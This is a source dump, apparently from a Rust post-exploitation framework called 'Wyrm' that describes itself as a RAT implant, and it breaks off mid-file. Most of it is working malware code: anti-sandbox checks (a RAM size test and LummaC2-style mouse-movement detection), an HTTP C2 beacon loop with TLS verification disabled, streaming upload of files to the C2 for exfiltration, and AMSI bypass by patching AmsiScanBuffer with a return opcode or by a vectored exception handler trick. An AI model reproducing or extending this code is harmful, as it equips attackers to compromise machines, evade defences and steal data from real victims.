"-C", "link-arg=-s", # "-C", "link-arg=/DEBUG:NONE", "-C", "target-feature=+crt-static", "-C", "link-arg=/MERGE:.rdata=.text", "-C", "link-arg=/MERGE:.pdata=.text", ] ================================================ FILE: implant/Cargo.toml ================================================ [package] name = "implant" version = "0.1.0" edition = "2024" build = "build.rs" [profile.release] opt-level = "z" lto = "fat" strip = "symbols" # panic = "abort" debug = 0 split-debuginfo = "off" # codegen-units = 1 [[bin]] name = "implant" path = "src/main.rs" [[bin]] name = "implant_svc" path = "src/main_svc.rs" [lib] name = "implant" path = "src/lib.rs" crate-type = ["cdylib"] [features] sandbox_trig = [] sandbox_mem = [] patch_etw = [] patch_amsi = [] [dependencies] shared ={ path = "../shared" } shared_no_std ={ path = "../shared_no_std" } serde = {version = "1.0", features = ["derive"] } serde_json = "1" str_crypter = "1.0.3" cgmath = "0.18.0" windows-sys = {version = "0.61", features = [ "Win32", "Win32_Foundation", "Win32_NetworkManagement_NetManagement", "Win32_Storage_FileSystem", "Win32_System_ProcessStatus", "Win32_System_SystemInformation", "Win32_System_Threading", "Win32_System_WindowsProgramming", "Win32_System_SystemServices", "Win32_Security", "Win32_UI_WindowsAndMessaging", "Win32_System_Diagnostics_Debug", "Win32_System_Services", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Ole", "Win32_System_Variant", "Win32_System_ClrHosting", "Win32_System_Com", "Win32_System_Console", "Win32_System_IO", "Win32_System_Pipes", "Win32_Security_Authorization", "Win32_Globalization", "Win32_Networking_WinHttp", "Win32_System_Memory", "Win32_System_Kernel", ]} rand = "0.9" windows-registry = "0.6" ureq = { version = "3.1.4", default-features = false, features = ["json", "multipart", "native-tls"]} [build-dependencies] cc = "1.2.51" ================================================ FILE: implant/Readme.md ================================================ # Wyrm agent The Wyrm agent is a post exploitation Red Team framework designed to operate as a RAT. ## How it works ### Command and control The agent communicates with the C2 over HTTP(S); future support is planned for C2 over DNS. When the implant is first run, it will make a first call home indicating that it has started for the first time, allowing it to get any configuration information from the C2, such as its sleep time, or other malleable settings. Following this, the agent enters the C2 loop in which GET requests are made to the C2 and tasks are received, executed then returned the output via a POST request. During transit, the comms are encrypted with a simple XOR scheme. Given SSL inspection will not be brute forcing comms traffic below TLS; simple XOR is deemed sufficient complex for the threat model of red teams. **Note:** Extra care has been made to ensure that artifacts of the messaging structures are not left over and present in the binary which could become searchable strings. ## Design documentation A little documentation to explain some of the design decisions. It feels like spaghetti in parts, so this is putting my brain on paper for now to explain some of the core concepts around how the implant works. When the implant first runs; it will conduct a 'first run' function to send some environment data up to the C2. This function is `first_check_in`, and will try a number of times (as per what it is configured with) to POST this data up to the C2. Following this, the agent enters its **C2 loop**. ### C2 loop The C2 loop can be thought as a massive dispatcher, which is dispatching a `shared::tasks::Command`. Each `Command` which will be dispatched (in `dispatch_tasks`) should call `self.push_completed_task()` to push the result of some task to be dispatched to the implants `completed_tasks` Vec. Due to custom serialisation (OPSEC strategy), `push_completed_task` will serialise the result of the function appropriately, encoding data into the packet structure. It will produce this as a Vector of u16 (to allow for unicode characters) and this is pushed to `completed_tasks` which is ultimately, a `Vec<Vec<u16>>`. **For this reason**, what goes into `push_completed_task` is an `Option<impl Serialize>`. Thus, it follows, any function which is used in the main dispatcher, itself should return `Option<impl Serialize>`. To avoid issues with references, you may need to return `Option<impl Serialize + use<>>` (if it moans about some move semantics / ownership rules). A final note: only tasks which you wish to POST back to the C2 to 'complete' them (in the `completed_tasks` db table) need completing as above. There is no requirement to do this for tasks that you do not want feedback on, or need the additional `completed_tasks` modifying. To that end; tasks which are 'autocomplete' on pickup when the C2 grabs the tasks from the pending task queue, there is an implementation on `shared::tasks::Command`, for the method `is_autocomplete`. Marking a discriminant as `true` will allow the C2 to silently mark everything as completed in the db on the backend, so as soon as the agents requests new tasks, at that point it will be marked as complete and sent to the agent. #### Errors within returned data If your `Option<impl Serialize>` contains something you wish to express as an `Error`, I have provided the `WyrmError` enum, which matches the signature of a standard `Result<T, E>` - except that it is represented: ```Rust #[derive(Serialize, Deserialize)] pub enum WyrmResult<T: Serialize> { Ok(T), Err(String), } ``` This allows you to return the `WyrmResult` and have it serialise inside of a `Some()`, for example: **Ok** ```Rust result = Some( WyrmResult::Ok(self.current_working_directory .to_string_lossy() .into_owned(), )); ``` **Err** ```Rust let return_value = match e.kind() { std::io::ErrorKind::NotFound => Some(WyrmResult::Err("Not found".to_string())), std::io::ErrorKind::PermissionDenied => Some(WyrmResult::Err("Permission denied.".to_string())), _ => Some(WyrmResult::Err(format!("An error occurred. Code: {}", e.raw_os_error().unwrap_or_default()))), }; ``` Then on the client, you can display these easily such as (in `shared_c2_client`): ```Rust let deser: WyrmResult<PathBuf> = match serde_json::from_str(result) { Ok(d) => d, Err(e) => { print_client_error(&msg_header, &format!("Ensure your request was properly formatted: {e}")); return; }, }; match deser { WyrmResult::Ok(result) => println!("{}{}", msg_header, result.display()), WyrmResult::Err(e) => print_client_error(&msg_header, &e), } ``` ================================================ FILE: implant/build.rs ================================================ use std::{ env, fmt::Write, fs, mem::take, path::{Path, PathBuf}, process::Command, }; fn main() { let envs = &[ "DEF_SLEEP_TIME", "C2_HOST", "C2_URIS", "C2_PORT", "SECURITY_TOKEN", "USERAGENT", "AGENT_NAME", "JITTER", "SVC_NAME", "EXPORTS_JMP_WYRM", "EXPORTS_USR_MACHINE_CODE", "EXPORTS_PROXY", "MUTEX", "DEFAULT_SPAWN_AS", "WOF", ]; for key in envs { println!("cargo:rerun-if-env-changed={key}"); } for var in envs { if let Ok(val) = env::var(var) { println!("cargo:rustc-env={var}={val}"); } } write_exports_to_build_dir(); build_static_wofs(); } /// Writes exported symbols to the binary, whether genuine exports or proxied ones. fn write_exports_to_build_dir() { let out_dir = PathBuf::from(env::var("OUT_DIR").unwrap()); let dest = out_dir.join("custom_exports.rs"); let mut code = String::new(); let exports_usr_machine_code = env::var("EXPORTS_USR_MACHINE_CODE").ok(); let exports_proxy = env::var("EXPORTS_PROXY").ok(); let exports_jmp_wyrm = env::var("EXPORTS_JMP_WYRM").ok(); if let Some(export_str) = exports_jmp_wyrm { if export_str.is_empty() { // If there was no custom export defined, then we just export the 'run' extern writeln!(&mut code, "build_dll_export_by_name_start_wyrm!(run);",).unwrap(); } for fn_name in export_str.split(';').filter(|s| !s.trim().is_empty()) { writeln!( &mut code, "build_dll_export_by_name_start_wyrm!({fn_name});", ) .unwrap(); } } else { // Just in case.. we still need an entrypoint, tho this should never run writeln!(&mut code, "build_dll_export_by_name_start_wyrm!(run);",).unwrap(); } if let Some(export_str) = exports_usr_machine_code { for item in export_str.split(';').filter(|s| !s.trim().is_empty()) { let mut parts = item.split('='); let name = parts.next().unwrap().trim(); let bytes = parts.next().unwrap_or("").trim(); assert!(!name.is_empty()); assert!(!bytes.is_empty()); writeln!( &mut code, "build_dll_export_by_name_junk_machine_code!({name}, {bytes});", ) .unwrap(); } } if let Some(exports) = exports_proxy { for item in exports .split(';') .map(|s| s.trim()) .filter(|s| !s.is_empty() && s.is_ascii()) { println!("cargo:rustc-link-arg=/export:{item}"); } } fs::write(dest, code).unwrap(); } fn build_static_wofs() { let out_dir = PathBuf::from(std::env::var("OUT_DIR").unwrap()); let dest = out_dir.join("wof.rs"); let mut ffi_builder = String::new(); let mut lookup_builder = String::new(); ffi_builder.push_str("use core::ffi::c_void;\n"); lookup_builder.push_str("\npub fn all_wofs() -> &'static [(&'static str, *const c_void)] {\n"); lookup_builder.push_str("&[\n"); if let Ok(Some(args)) = parse_wof_directories() { ffi_builder.push_str("unsafe extern \"C\" {\n"); for arg in args { let mut builder = cc::Build::new(); builder.out_dir(&out_dir); // // Iterate through the headers and source files // for a in arg.headers { builder.include(a); } for a in arg.files { builder.file(a); } for o in arg.object_files { let p = Path::new(&o); println!("cargo:rustc-link-arg={}", p.display()); // Grab the symbols that we can then access add_symbols(p, &mut ffi_builder, &mut lookup_builder); } // compile to object files only let objects = builder.compile_intermediates(); for obj in &objects { // Give the .obj to the linker println!("cargo:rustc-link-arg={}", obj.display()); // Grab the symbols that we can then access add_symbols(obj, &mut ffi_builder, &mut lookup_builder); } } ffi_builder.push_str("}\n\n"); } lookup_builder.push_str("]\n}\n"); ffi_builder.push_str(&lookup_builder); fs::write(dest, ffi_builder).unwrap(); } /// Parses exported symbols from a compiled object/lib file and extends the /// generated FFI shim and lookup table code. /// /// The builders are treated as accumulating code buffers that will later be written out /// to a generated Rust source file (e.g. `wof.rs`). fn add_symbols(src: &Path, ffi_builder: &mut String, lookup_builder: &mut String) { if let Some(symbols) = dump_symbols(src) { for s in symbols { let export_line = format!("fn {s}(_: *const c_void) -> i32;\n"); if !ffi_builder.contains(&export_line) { ffi_builder.push_str(&export_line); lookup_builder.push_str(&format!("(\"{s}\", {s} as *const c_void),\n")); } } } } struct ArgsPerFolder { files: Vec<String>, headers: Vec<String>, object_files: Vec<String>, } /// Parses the `WOF` environment variable into per-dir WOF build inputs. /// /// This helper is used by the build script to discover *WOF modules* laid out /// on disk. It expects the `WOF` environment variable to contain a semicolon separated /// list of directories, for example: /// /// ```text /// WOF=/wofs_static/1;/wofs_static/2; /// ``` /// /// For each entry in `WOF`: /// /// - If the entry resolves to a directory: /// - All files with extension: /// - `.h` / `.hpp` are collected into `headers`. /// - `.c` / `.cpp` / `.cc` are collected into `files`. /// - `.o` / `.obj` are collected into `object_files`. fn parse_wof_directories() -> std::io::Result<Option<Vec<ArgsPerFolder>>> { if let Some(args) = env::var("WOF").ok() { let mut result = Vec::new(); for item in args.split(';').map(str::trim).filter(|s| !s.is_empty()) { let root = PathBuf::from(item); if !root.is_dir() { continue; } let mut buf_file = Vec::new(); let mut buf_headers = Vec::new(); let mut buf_objs = Vec::new(); let mut stack = vec![root.clone()]; while let Some(dir) = stack.pop() { for entry in dir.read_dir()? { let entry = match entry { Ok(e) => e, Err(_) => continue, }; let path = entry.path(); if path.is_dir() { stack.push(path); continue; } let full_path = path.to_string_lossy().to_string(); let name = entry.file_name(); let name = name.to_string_lossy(); if name.ends_with(".h") || name.ends_with(".hpp") { buf_headers.push(full_path); } else if name.ends_with(".c") || name.ends_with(".cpp") || name.ends_with(".cc") { buf_file.push(full_path); } else if name.ends_with(".o") || name.ends_with(".obj") { buf_objs.push(full_path); } } } if !buf_file.is_empty() || !buf_headers.is_empty() || !buf_objs.is_empty() { result.push(ArgsPerFolder { files: buf_file, headers: buf_headers, object_files: buf_objs, }); } } return Ok(Some(result)); } Ok(None) } fn dump_symbols(lib: &Path) -> Option<Vec<String>> { let out = Command::new("llvm-nm") .args(["-U", "-g", "--defined-only"]) .arg(lib) .output() .expect("llvm-nm failed"); let mut buf = Vec::new(); let stdout = String::from_utf8_lossy(&out.stdout); for line in stdout.lines() { if line.contains(" T ") { let s: Vec<&str> = line.split(" T ").collect(); if !s.is_empty() && s.len() == 2 { buf.push(s[1].to_string()); } } } if buf.is_empty() { return None; } Some(buf) } ================================================ FILE: implant/rust-toolchain.toml ================================================ [toolchain] # # Pin nightly such that we dont get any unexpected breaking changes. # # We can update this as required in the future. channel = "nightly-2025-10-20" ================================================ FILE: implant/set_dbg_env.ps1 ================================================ # set-debug-env.ps1 # --- DEBUG configuration --- $Env:DEF_SLEEP_TIME = '1' $Env:C2_HOST = 'http://127.0.0.1' $Env:C2_URI = '/' $Env:SECURITY_TOKEN = 'sfsdfdsfsdfwerwetweewryh1g' $Env:C2_PORT = '8080' $Env:AGENT_NAME = 'local_debug_test' Write-Host " Environment variables set:" Write-Host " DEF_SLEEP_TIME = $Env:DEF_SLEEP_TIME" Write-Host " C2_HOST = $Env:C2_HOST" Write-Host " C2_URI = $Env:C2_URI" Write-Host " SECURITY_TOKEN = $Env:SECURITY_TOKEN" Write-Host " C2_PORT = $Env:C2_PORT" Write-Host " AGENT_NAME = $Env:AGENT_NAME" Write-Host "" Write-Host "NOTE: To now use this config, on the C2 stage a new 'agent' which has the same agent name and security token listed here." ================================================ FILE: implant/src/anti_sandbox/memory.rs ================================================ use windows_sys::Win32::{ Foundation::FALSE, System::SystemInformation::GetPhysicallyInstalledSystemMemory, }; const MIN_ACCEPTABLE_MEMORY: u64 = 4000000; // ~ 4 GB /// Checks the installed amount of memory, and panics if it's less than [`MIN_ACCEPTABLE_MEMORY`] /// or if the WinAPI call failed. #[allow(unreachable_code)] pub fn validate_ram_sz_or_panic() { let mut total_memory: u64 = 0; if unsafe { GetPhysicallyInstalledSystemMemory(&mut total_memory) } == FALSE { #[cfg(debug_assertions)] { use crate::dbgprint; dbgprint!("GetPhysicallyInstalledSystemMemory error") } panic!() } if total_memory < MIN_ACCEPTABLE_MEMORY { #[cfg(debug_assertions)] { use crate::dbgprint; dbgprint!("Total memory ({total_memory}) was less than {MIN_ACCEPTABLE_MEMORY}") } panic!() } } ================================================ FILE: implant/src/anti_sandbox/mod.rs ================================================ mod memory; mod trig; /// This function takes care of anti-sandbox analysis, and depending upon the sandbox checks performed /// it w ill either panic, or continue looping until a condition is met. /// /// The anti-sandbox features are feature-gated such that they can be configured by the operator and conditionally /// compiled. pub fn anti_sandbox() { // Note: full list of potential features to implement here // https://unprotect.it/category/sandbox-evasion/ #[cfg(feature = "sandbox_trig")] { use std::sync::atomic::Ordering; use crate::entry::IS_IMPLANT_SVC; // We cannot do this check when running as a svc if !IS_IMPLANT_SVC.load(Ordering::SeqCst) { use crate::anti_sandbox::trig::trig_mouse_movements; #[cfg(debug_assertions)] use crate::utils::console::print_info; // N.b. this could block for a period of time; but will not panic. See function for more details. trig_mouse_movements(); #[cfg(debug_assertions)] print_info("Trig test complete.."); } } #[cfg(feature = "sandbox_mem")] { use crate::anti_sandbox::memory::validate_ram_sz_or_panic; validate_ram_sz_or_panic(); #[cfg(debug_assertions)] { use crate::utils::console::print_info; print_info("Ram size check complete.."); } } } ================================================ FILE: implant/src/anti_sandbox/trig.rs ================================================ //! A trigonometric approach to detect human behaviour on an endpoint as seen by //! LummaC2 https://outpost24.com/blog/lummac2-anti-sandbox-technique-trigonometry-human-detection/ use core::f32::math::sqrt; use std::time::{Duration, Instant}; use cgmath::{Deg, InnerSpace, Vector2}; use windows_sys::Win32::{ Foundation::{POINT, TRUE}, System::Threading::Sleep, UI::WindowsAndMessaging::GetCursorPos, }; const MAX_WAIT_TIME_SECONDS: u64 = 5 * 60; // 5 mins /// This function attempts to detect a sandbox by monitoring mouse movements and /// checking for behaviour which would not be expected by a human using some trig and /// euclidean math. /// /// If the function detects mouse movement within the capture period of > a constant number /// of px, or greater than 45 degrees between captures, a sandbox is assumed. /// /// # No return period /// The function will not return if no mouse movements are captured; up to the max waiting time, /// [`MAX_WAIT_TIME`]. /// /// The function will not return if 'bad movements' are detected, up to the max waiting time, /// [`MAX_WAIT_TIME`]. pub fn trig_mouse_movements() { const MAX_POINTS_0_IDX: usize = 30; let mut points = [POINT::default(); MAX_POINTS_0_IDX]; const MAX_TRAVEL_DISTANCE: f32 = 500.; const MAX_ANGLE: f32 = 45.; let timer: (Instant, Duration) = (Instant::now(), Duration::from_secs(MAX_WAIT_TIME_SECONDS)); // // The bread and butter loop which will continue to get mouse movement and check against // mouse movements to detect non-human behaviour. If the 5 min period elapses in this, then // it will break. // // If any mouse movement information is 0, it will try again, until there is full movement observed // over the time period measured. // loop { let mut bad_point = false; // // Get the points // for i in 0..MAX_POINTS_0_IDX { get_pos(points.get_mut(i).unwrap(), &timer); unsafe { Sleep(10); } } // // Check for non human behaviour // for (i, point) in points.iter().enumerate() { // Check the timer if timer.0.elapsed() >= timer.1 { bad_point = false; break; } let next_point = match points.get(i + 1) { Some(p) => p, None => break, }; // calculate the euclidean distance between the points let first = i32::pow(point.x - next_point.x, 2); let second = i32::pow(point.y - next_point.y, 2); let distance = sqrt(first as f32 + second as f32); // Calculate the angle between the points let v1 = Vector2::new(point.x as f32, point.y as f32); let v2 = Vector2::new(next_point.x as f32, next_point.y as f32); let angle = Deg::from(v1.angle(v2)).0.abs(); if angle == 0. || distance == 0. { bad_point = true; } // // If the angle is > MAX_ANGLE, or the mouse distance travelled is greater than MAX_TRAVEL_DISTANCE px (??) // then we want to cause the test to go again. // if angle > MAX_ANGLE || distance > MAX_TRAVEL_DISTANCE { bad_point = true; } } // If we didn't have a bad point, aka no mouse movement, then break if !bad_point { break; } } } fn get_pos(point: &mut POINT, live_timer: &(Instant, Duration)) { loop { // If we waited longer than a sandbox will be watching for if live_timer.0.elapsed() >= live_timer.1 { break; } if unsafe { GetCursorPos(point) } == TRUE { break; }; unsafe { Sleep(200); } } } ================================================ FILE: implant/src/comms.rs ================================================ //! Implant communications are handled here. use std::{fs::File, mem::take, path::Path}; use crate::{ utils::{ console::{get_console_log, print_failed}, time_utils::epoch_now, }, wyrm::Wyrm, }; use rand::{ Rng, SeedableRng, TryRngCore, rngs::{OsRng, SmallRng}, }; use shared::{ net::{TasksNetworkStream, XorEncode, decode_http_response, encode_u16buf_to_u8buf}, tasks::{Command, ExfiltratedFile, Task}, }; use str_crypter::{decrypt_string, sc}; use ureq::{ Agent, Body, Proxy, config::Config, http::{ HeaderMap, Response, header::{AUTHORIZATION, CONTENT_TYPE, USER_AGENT, WWW_AUTHENTICATE}, }, tls::{TlsConfig, TlsProvider}, unversioned::multipart::{Form, Part}, }; const MAX_RESPONSE_SZ_BYTES: u64 = 1024 * 1024 * 500; /// Constructs the C2 URL by randomly choosing the URI to visit. pub fn construct_c2_url(implant: &Wyrm) -> String { let i = { // N.b. we have to use non TLS rand here or the RDLL will crash let len = implant.c2_config.api_endpoints.len(); if len != 0 { let mut seed = [0u8; 32]; if let Ok(_) = OsRng.try_fill_bytes(&mut seed) { let mut rng = SmallRng::from_seed(seed); rng.random_range(0..len) } else { 0 } } else { 0 } }; let uri = &implant.c2_config.api_endpoints[i]; const COLON_SZ: usize = 1; const MAX_PORT_SZ: usize = 6; const LEEWAY_SLASH_SZ: usize = 1; let approx_len = implant.c2_config.url.0.len() + COLON_SZ + MAX_PORT_SZ + uri.len() + LEEWAY_SLASH_SZ; let mut s = String::with_capacity(approx_len); s.push_str(&implant.c2_config.url.0); s.push(':'); s.push_str(&implant.c2_config.port.to_string()); // Ensure we start with a '/' in case the operator is laxy dazy :) if !uri.starts_with('/') { s.push('/'); }; s.push_str(&uri); s } /// Checks in with the C2 and gets any pending tasks. pub fn comms_http_check_in(implant: &mut Wyrm) -> Result<Vec<Task>, ureq::Error> { let formatted_url = construct_c2_url(implant); let sec_token = &implant.c2_config.security_token; let ua = &implant.c2_config.useragent; let headers = generate_generic_headers(&implant.implant_id, sec_token, ua); // Drain the console log and put it into a completed task { if let Ok(mut log) = get_console_log().lock() { if !log.is_empty() { let drained = take(&mut *log); // Note task 1 will always be for console logs as we hardcode this via sql migration when the srv starts up // for the first time. implant.push_completed_task( &Task::from(1, Command::ConsoleMessages, None), Some(drained), ); } } } // Make the actual request, depending upon whether we have data to upload or not let mut response = if implant.completed_tasks.is_empty() { http_get(formatted_url.clone(), headers, implant)? } else { http_post_tasks(formatted_url.clone(), implant, headers)? }; let mut tasks: Vec<Task> = vec![]; // If response was not OK; then just sleep. In the future maybe we have a strategy to exit after x // bad requests? if response.status().as_u16() != 200 { #[cfg(debug_assertions)] println!( "[-] Status code was not OK 200. Got: {}. URL: {}", response.status().as_u16(), formatted_url ); tasks.push(Task { id: 0, command: Command::Sleep, metadata: None, completed_time: epoch_now(), }); return Ok(tasks); } let res = read_body_with_limit(&mut response)?; Ok(decode_tasks_stream(&res)) } fn http_get( url: String, headers: HeaderMap, implant: &Wyrm, ) -> Result<Response<Body>, ureq::Error> { let agent = generate_http_agent(implant); let mut req = agent.get(url); for (name, value) in headers.iter() { if let Ok(val) = value.to_str() { req = req.header(name, val); } } req.call() } fn http_post_tasks( url: String, implant: &mut Wyrm, mut headers: HeaderMap, ) -> Result<Response<Body>, ureq::Error> { let agent = generate_http_agent(implant); let mut req = agent.post(url); let mut completed_tasks: TasksNetworkStream = Vec::new(); // // For each task that has been completed, we need to encode it properly so that it fits // with the standard of: XOR ENVELOPE([u32 Command][u16 string result]). // // We can then push this to the completed tasks, which will be serialised itself, and then // sending on its merry way to the C2. // while let Some(task) = implant.completed_tasks.pop() { let encoded_byte_response = encode_u16buf_to_u8buf(&task).xor_network_stream(); completed_tasks.push(encoded_byte_response); } headers.insert(CONTENT_TYPE, "application/json".parse().unwrap()); for (name, value) in headers.iter() { if let Ok(val) = value.to_str() { req = req.header(name, val); } } // TODO domain fronting in the above builder? req.send_json(completed_tasks) } /// Generates some generic headers which we send along with the HTTP request to the C2. /// These are to be the same for GET, POST, etc. fn generate_generic_headers(implant_id: &str, security_token: &str, ua: &str) -> HeaderMap { let mut headers = HeaderMap::new(); headers.insert(WWW_AUTHENTICATE, implant_id.parse().unwrap()); headers.insert(USER_AGENT, ua.parse().unwrap()); headers.insert(AUTHORIZATION, security_token.parse().unwrap()); headers } fn read_body_with_limit(response: &mut Response<Body>) -> Result<Vec<u8>, ureq::Error> { response .body_mut() .with_config() .limit(MAX_RESPONSE_SZ_BYTES) .read_to_vec() } /// Decode a `Response` byte stream from the C2 into a Vec of individual `Task`'s, /// /// The data coming into this function will be XOR encrypted, as per a hardcoded XOR key /// shared between both the C2 and the implant. This routine will first decode each /// inbound packet, and then decode the HTTP response as per the implant's communication /// scheme. /// /// # Returns /// A vector of [`Task`] ready to be dispatched or otherwise available to work with. pub fn decode_tasks_stream(byte_response: &[u8]) -> Vec<Task> { // Parse JSON into the inner binary packets let packets: Vec<Vec<u8>> = match serde_json::from_slice(byte_response) { Ok(p) => p, Err(_) => return vec![], }; // For each packet, undo the XOR and decode header+body packets .into_iter() .map(|pkt| { let decrypted = pkt.xor_network_stream(); decode_http_response(&decrypted) }) .collect() } /// Makes a request to the C2 when it's the first time checking in per session, e.g. after reboot or after the agent /// has for some reason, exit. /// /// Function pulls configuration settings down, and sends local config up where required for that first check-in. pub fn configuration_connection(implant: &mut Wyrm) -> Result<Vec<Task>, ureq::Error> { implant.conduct_first_run_recon(); // // make the request // let formatted_url = construct_c2_url(implant); let sec_token = &implant.c2_config.security_token; let ua = &implant.c2_config.useragent; let headers = generate_generic_headers(&implant.implant_id, sec_token, ua); let mut response = http_post_tasks(formatted_url.clone(), implant, headers)?; // // We get back some settings from the C2 // let mut tasks: Vec<Task> = vec![]; if response.status().as_u16() != 200 { #[cfg(debug_assertions)] println!( "[-] Status code was not OK 200. Got: {}. Sent to: {}", response.status().as_u16(), formatted_url, ); tasks.push(Task { id: 0, command: Command::AgentsFirstSessionBeacon, metadata: None, completed_time: epoch_now(), }); return Ok(tasks); } let body = read_body_with_limit(&mut response)?; Ok(decode_tasks_stream(&body)) } /// Downloads a file to a buffer in memory /// /// # Note /// As this function downloads a file **in memory**, ensure you are not downloading something massive with this /// as it will cause the device to run OOM. If that functionality is necessary, then make a streaming function which /// downloads to a file over a stream. pub fn download_file_with_uri_in_memory(uri: &str, wyrm: &Wyrm) -> Result<Vec<u8>, ureq::Error> { let formatted_url = format!("{}:{}{}", wyrm.c2_config.url.0, wyrm.c2_config.port, uri); let sec_token = &wyrm.c2_config.security_token; let ua = &wyrm.c2_config.useragent; let headers = generate_generic_headers(&wyrm.implant_id, sec_token, ua); let mut response = http_get(formatted_url, headers, wyrm)?; read_body_with_limit(&mut response) } pub fn upload_file_as_stream(implant: &Wyrm, ef: &ExfiltratedFile) { let url = construct_c2_url(implant); let headers = generate_generic_headers( &implant.implant_id, &implant.c2_config.security_token, &implant.c2_config.useragent, ); let agent = generate_http_agent(implant); let hostname = ef.hostname.clone(); let source_path = ef.file_path.clone(); let file_name = Path::new(&source_path) .file_name() .unwrap_or_default() .to_string_lossy() .into_owned(); let file = match File::open(&source_path) { Ok(f) => f, Err(_) => { print_failed(format!( "{} {}", sc!("Could not open file.", 96).unwrap(), source_path )); return; } }; let part = Part::owned_reader(file) .file_name(&file_name) .mime_str("application/octet-stream") .unwrap(); let form = Form::new() .text("hostname", &hostname) .text("source_path", &source_path) .part("file", part); let mut req = agent.post(&url); for (k, v) in headers.iter() { req = req.header(k, v); } match req.send(form) { Ok(_resp) => (), Err(e) => { print_failed(format!( "{} {e}", sc!("Could not send file to c2.", 72).unwrap() )); } } } fn generate_http_agent(implant: &Wyrm) -> Agent { if let Some(px) = &implant.c2_config.url.1 { let px = Proxy::new(&px).unwrap(); let config = Config::builder() .tls_config( TlsConfig::builder() .provider(TlsProvider::NativeTls) .disable_verification(true) .build(), ) .proxy(Some(px)) // Set the User-Agent in the builder to make sure proxy CONNECT connections have the UA, // as opposed to the ureq UA. .user_agent(implant.c2_config.useragent.clone()) .build(); config.into() } else { let config: Config = Config::builder() .tls_config( TlsConfig::builder() .provider(TlsProvider::NativeTls) .disable_verification(true) .build(), ) .proxy(None) // Set the User-Agent in the builder to make sure proxy CONNECT connections have the UA, // as opposed to the ureq UA. .user_agent(implant.c2_config.useragent.clone()) .build() .into(); config.into() } } ================================================ FILE: implant/src/entry.rs ================================================ //! Entry module for kicking off the implant, whether from a DLL or an exe. use core::{sync::atomic::AtomicBool, time::Duration}; use std::sync::atomic::Ordering; use windows_sys::Win32::System::Threading::{ExitProcess, Sleep}; use crate::utils::console::{print_failed, print_info}; use crate::{ anti_sandbox::anti_sandbox, comms::configuration_connection, evasion::run_evasion, utils::console::init_agent_console, wyrm::{Wyrm, calculate_sleep_seconds}, }; /// Determines whether the agent is built as a service, or not pub static IS_IMPLANT_SVC: AtomicBool = AtomicBool::new(false); /// Is the application currently running - this will be set to false when the exit command is given. pub static APPLICATION_RUNNING: AtomicBool = AtomicBool::new(false); /// Literally just the entry function into the payload allowing flexibility to call from either /// an exe, or dll pub fn start_wyrm() { APPLICATION_RUNNING.store(true, Ordering::SeqCst); init_agent_console(); #[cfg(debug_assertions)] print_info("Starting Wyrm post exploitation framework in debug mode.."); // Do the anti-sandbox, etw patching, etc.. before we jump into the implant loop. on_start_evasion(); // // Initialise the implant // let mut implant = Wyrm::new(); // // Enter the core loop // first_check_in(&mut implant); loop { implant.get_tasks_http(); implant.dispatch_tasks(); let t = Duration::from_secs(calculate_sleep_seconds(&implant)).as_millis() as u32; unsafe { Sleep(t); } } } fn on_start_evasion() { // First run the anti-sandbox checks, we dont necessarily want to do other // evasion strategies before this point, if they were enabled in the build // profile. anti_sandbox(); // Now run the memory evasion strategies run_evasion(); #[cfg(debug_assertions)] print_info("All on start evasion checks completed"); } pub fn first_check_in(implant: &mut Wyrm) { let mut attempt: u32 = 0; loop { // Try get the response from the C2; if we receive an error then keep looping over this // first configuration until we get a successful response. // Ultimately, this may hinder the implant if it cannot get a connection, but at the same time // it would be useless given it acts as a post exploitation framework if we cannot control it. let tasks = match configuration_connection(implant) { Ok(r) => r, Err(e) => { #[cfg(debug_assertions)] print_failed(format!("Failed to make first connection to C2. {e}")); attempt += 1; if attempt == implant.first_connection_retries.num_retries { #[cfg(debug_assertions)] print_failed("Max first connection retries reached. Exiting."); unsafe { ExitProcess(0) }; } let t = Duration::from_secs(implant.first_connection_retries.failed_first_conn_sleep) .as_millis(); unsafe { Sleep(t as u32) }; continue; } }; // // Now that we have the tasks, we can dispatch them to set anything that is required locally. // if tasks.is_empty() { #[cfg(debug_assertions)] print_info("Tasks were empty on implant first run"); return; } for task in tasks { implant.tasks.push_back(task); } implant.dispatch_tasks(); break; } } ================================================ FILE: implant/src/evasion/amsi.rs ================================================ use std::ffi::c_void; use str_crypter::{decrypt_string, sc}; use windows_sys::Win32::System::{ Diagnostics::Debug::{AddVectoredExceptionHandler, WriteProcessMemory}, Threading::GetCurrentProcess, }; use crate::{ evasion::veh::{addr_of_amsi_scan_buf, veh_handler}, utils::console::{print_failed, print_info}, }; /// Evades AMSI in the current process if the AMSI patching feature flag is enabled. This function can /// be called without checking whether the feature flag is enabled, as the check happens within the /// function. /// /// **NOTE**: This function WILL NOT load amsi for you or check if it is loaded ahead of time. That /// responsibility is on the caller. /// /// # Returns /// The function will return a `bool` indicating whether the AMSI evasion was successful; returns `false` /// if it failed. pub fn evade_amsi() -> bool { #[cfg(feature = "patch_amsi")] { // NOTE: Disabling for now in favour of the possibly more stealthy VEH^2 technique // amsi_patch_ntdll(); // // The best shot we got for VEH^2 in determining if it was successful is checking that the DLL is // loaded.. if not, it will not work and should return false, so check that before continuing. // if addr_of_amsi_scan_buf().is_none() { return false; } // // Ok now call actual technique // amsi_veh_squared(); return true; } print_info(sc!("WARNING: Not patching AMSI. This could be dangerous.", 49).unwrap()); false } fn amsi_patch_ntdll() { use shared_no_std::export_resolver::resolve_address; use crate::utils::console::print_info; print_info(sc!("Patching amsi..", 49).unwrap()); let fn_addr = match resolve_address(&sc!("amsi.dll", 42).unwrap(), "AmsiScanBuffer", None) { Ok(a) => a, Err(_) => { #[cfg(debug_assertions)] use crate::utils::console::print_failed; #[cfg(debug_assertions)] print_failed("Failed to find function AmsiScanBuffer.."); return; } }; let handle = unsafe { GetCurrentProcess() }; let ret_opcode: u8 = 0xC3; let size = std::mem::size_of_val(&ret_opcode); let mut bytes_written: usize = 0; let _res = unsafe { WriteProcessMemory( handle, fn_addr, &ret_opcode as *const u8 as *const c_void, size, &mut bytes_written, ) }; } #[inline(always)] fn amsi_veh_squared() -> bool { let h = unsafe { AddVectoredExceptionHandler(1, Some(veh_handler)) }; if h.is_null() { print_failed(sc!("Failed to execute AddVectoredExceptionHandler", 0xEF).unwrap()); return false; } // This is statically (and/or at runtime) probably quite easy to detect immediately after calling AVEH?? unsafe { core::arch::asm!("int3") }; true } ================================================ FILE: implant/src/evasion/etw.rs ================================================ use std::ffi::c_void; use shared_no_std::export_resolver; use shared_no_std::export_resolver::ExportResolveError; use str_crypter::{decrypt_string, sc}; use windows_sys::Win32::System::{ 